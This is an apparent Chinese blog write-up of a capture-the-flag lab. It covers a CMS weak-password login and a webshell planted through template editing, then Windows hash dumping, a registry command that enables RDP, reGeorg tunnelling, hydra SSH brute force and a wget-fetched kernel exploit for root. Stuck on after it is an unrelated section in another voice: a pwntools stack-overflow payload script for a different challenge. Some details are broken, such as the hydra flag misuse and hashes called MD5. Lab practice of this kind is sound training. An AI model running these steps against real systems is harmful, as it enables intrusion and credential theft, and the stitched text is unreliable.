获取getshell以及内网渗透

记一次靶场练习实验

实验工具

VMware Workstation 15 Player
百度云链接 提取码:xbb5

搭建环境

1.外网靶场 IP:192.168.100.130 NAT模式
2.调整物理机的网卡VMnet8的ipv4为192.168.100.1
3.期间不允许使用虚拟机

实验要求

在两个靶场中找出三个flag

实验步骤

1.信息收集

在这里插入图片描述
进入网页之后发现是yxcms,可百度搜索与yxcms的相关信息。

第一个Flag(弱口令)

百度搜索yxcms的后台登陆页面,以及管理员的默认账号密码,看是否有弱口令的存在。
后台登陆页面为:http://192.168.100.130/index.php?r=admin
管理员的默认账号:admin 密码:123456
发现登陆成功,后台存在弱口令
进入后台之后找到前台模板模块,点击模块管理
在这里插入图片描述
发现页面的内容是可以编辑的,这是就可以想到将首页的代码直接改为大马的代码,重新刷新首页,发现成功显示的我们的大马文件
在这里插入图片描述
上传大马之后,直接执行命令,使用whoami查看权限
在这里插入图片描述
发现已经是system权限,所以就不用再提权了。此时我们应该考虑的就是想办法查看登录主机的密码。
由于没有登陆过虚拟机,系统中就没有缓存,所以mimikatz不能显示出密码,在这里我推荐一款密码查看工具:QuarksPwDump,这个工具可以导出密码的哈希值,然后直接百度搜索MD5,解密即可。
Windows系统中,可将QuarksPwDump.exe上传至C://Windows/temp下,(可读可写可执行),然后在执行命令模块中,将C:/WINDOWS/Temp/QuarksPwDump.exe写入命令行
在这里插入图片描述
得到了--dump-hash-local之后,复制,再次执行命令C:/WINDOWS/Temp/QuarksPwDump.exe --dump-hash-local导出哈希值
在这里插入图片描述
经过MD5的解密,密码为Hallo
此时就可以远程登录主机了,但是有一个前提,使用命令netstat -ano查看是否开放了3389端口。
在这里插入图片描述
确认3389端口开放之后,使用物理机,win+R之后输入mstsc启用远程桌面。输入IP之后,使用刚才导出的账号以及密码
在这里插入图片描述
注:如果对方未开启3389的话使用一句话命令REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f打开3389端口
此时就找到了flag1。原来藏在这丫。

寻找第二个Flag(hydra密码爆破)

进入主机之后,使用ipconfig查看主机IP
在这里插入图片描述
由此可以猜想内网的IP为172.16.1.1
桌面上有一个xshell的工具,是这台主机连接内网的工具,点开之后可以看到内网的IP确实为172.16.1.1,还得到了内网的用户名为admin
在这里插入图片描述
当连接的时候却需要爆破密码,这时就需要用到kali中的工具hydra。
这是就又涉及到了端口转发,通过大马上传reGeorg-master中的tunnel.nosocket.php文件到网站目录,打开之后,能够成功使用
在这里插入图片描述
然后运行kali中的reGeorgSocksProxy.py文件,使用命令python reGeorgSocksProxy.py -u http://192.168.100.130/tunnel.nosocket.php运行成功之后,需要用到kali中一款叫proxychains
首先修改proxychains中的配置文件,使用命令vi /etc/proxychains.conf打开配置文件之后找到最底部,将socks4修改为socks5 127.0.0.1 8888写完之后,wq保存退出
在这里插入图片描述
输入proxychains ssh 172.16.1.1登录内网但是需要输入password,此时就要用到工具hydra进行密码爆破,先使用命令gedit pass.txt自己写入一个字典文件,==(切记:写完最后一行之后千万不要点击回车,直接保存退出)==直接运行hydra使用命令proxychains hydra -l admin -p pass.txt ssh://172.16.1.1然后成功爆破出密码为123456
在这里插入图片描述
此时返回外网主机,通过xshell连接内网主机。成功进入主机之后我有个习惯,就是使用history查看管理员历史输入,然后发现了第二个flag
在这里插入图片描述

寻找第三个Flag(Linux提权)

通过上一步的密码爆破,输入id查看用户权限,
在这里插入图片描述
发现是普通用户权限,所以需要进行提权操作,输入命令uname -a查看系统信息
在这里插入图片描述
内核版本为2.6.18-194,使用相应的exp进行提权操作,将找到的exp通过大马上传至外网主机的目录下,然后通过命令wget 172.16.1.2/exp1 -O exp1进行下载操作,将exp1下载至内网目录下。
在这里插入图片描述
通过命令chmod 777 exp1修改exp1的权限为可读可写可执行,之后运行exp1成功提权为root用户。提权成功最明显的区别就是$和#的区别
在这里插入图片描述
通过ls查看当前目录下的文件,发现了第三个flag,本次实验结束!!!
在这里插入图片描述
[1]: http://meta.math.stackexchange.com/questions/5020/mathjax-basic-tutorial-and-quick-reference
[2]: https://mermaidjs.github.io/
[3]: https://mermaidjs.github.io/
[4]: http://adrai.github.io/flowchart.js/

获取 flag 的过程中,你需要明确以下两个步骤: 1. 获取当前比赛的 IP 地址和端口号 2. 利用获取到的 IP 地址和端口号,构造针对 vuln 函数的攻击 payload,从而获取 flag。 我们已经在上一个问题中介绍了如何编写一个从域名获取 IP 地址和端口号的函数,你可以将其添加到你的攻击脚本中。具体的代码如下: ```python import socket def get_ip_port(domain): try: ip = socket.gethostbyname(domain) port = 1337 # 假设默认端口为 1337 # 在这里添加获取端口号的代码 return ip, port except Exception as e: print(f"Failed to get IP and port: {e}") return None, None ``` 在获取到 IP 地址和端口号之后,你可以编写 payload,从而利用 vuln 函数获取 flag。具体的 payload 取决于 vuln 函数的具体实现,一般来说,可以利用栈溢出漏洞来执行 shell 函数,从而获取 shell 权限,然后使用 shell 命令获取 flag。 以下是一个示例 payload,你可以根据实际情况进行调整: ```python from pwn import * # 获取当前比赛的 IP 地址和端口号 ip, port = get_ip_port("example.com") if ip is None or port is None: exit() # 构造 payload payload = b'A' * 0x108 # 假设偏移量为 0x108 payload += p64(0x4005E6) # shell 函数的地址,可以根据实际情况进行调整 # 连接到 vuln 函数 p = remote(ip, port) # 发送 payload p.sendline(payload) # 进入交互模式,执行 shell 命令获取 flag p.interactive() ``` 上述代码中,我们使用了 pwntools 模块来连接到 vuln 函数,发送 payload,并进入交互模式。你需要根据实际情况调整 payload 中的偏移量和 shell 函数的地址。另外,由于我们并不知道 flag 的具体位置,因此需要通过 shell 命令来获取 flag,具体的 shell 命令取决于 flag 的获取方式。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值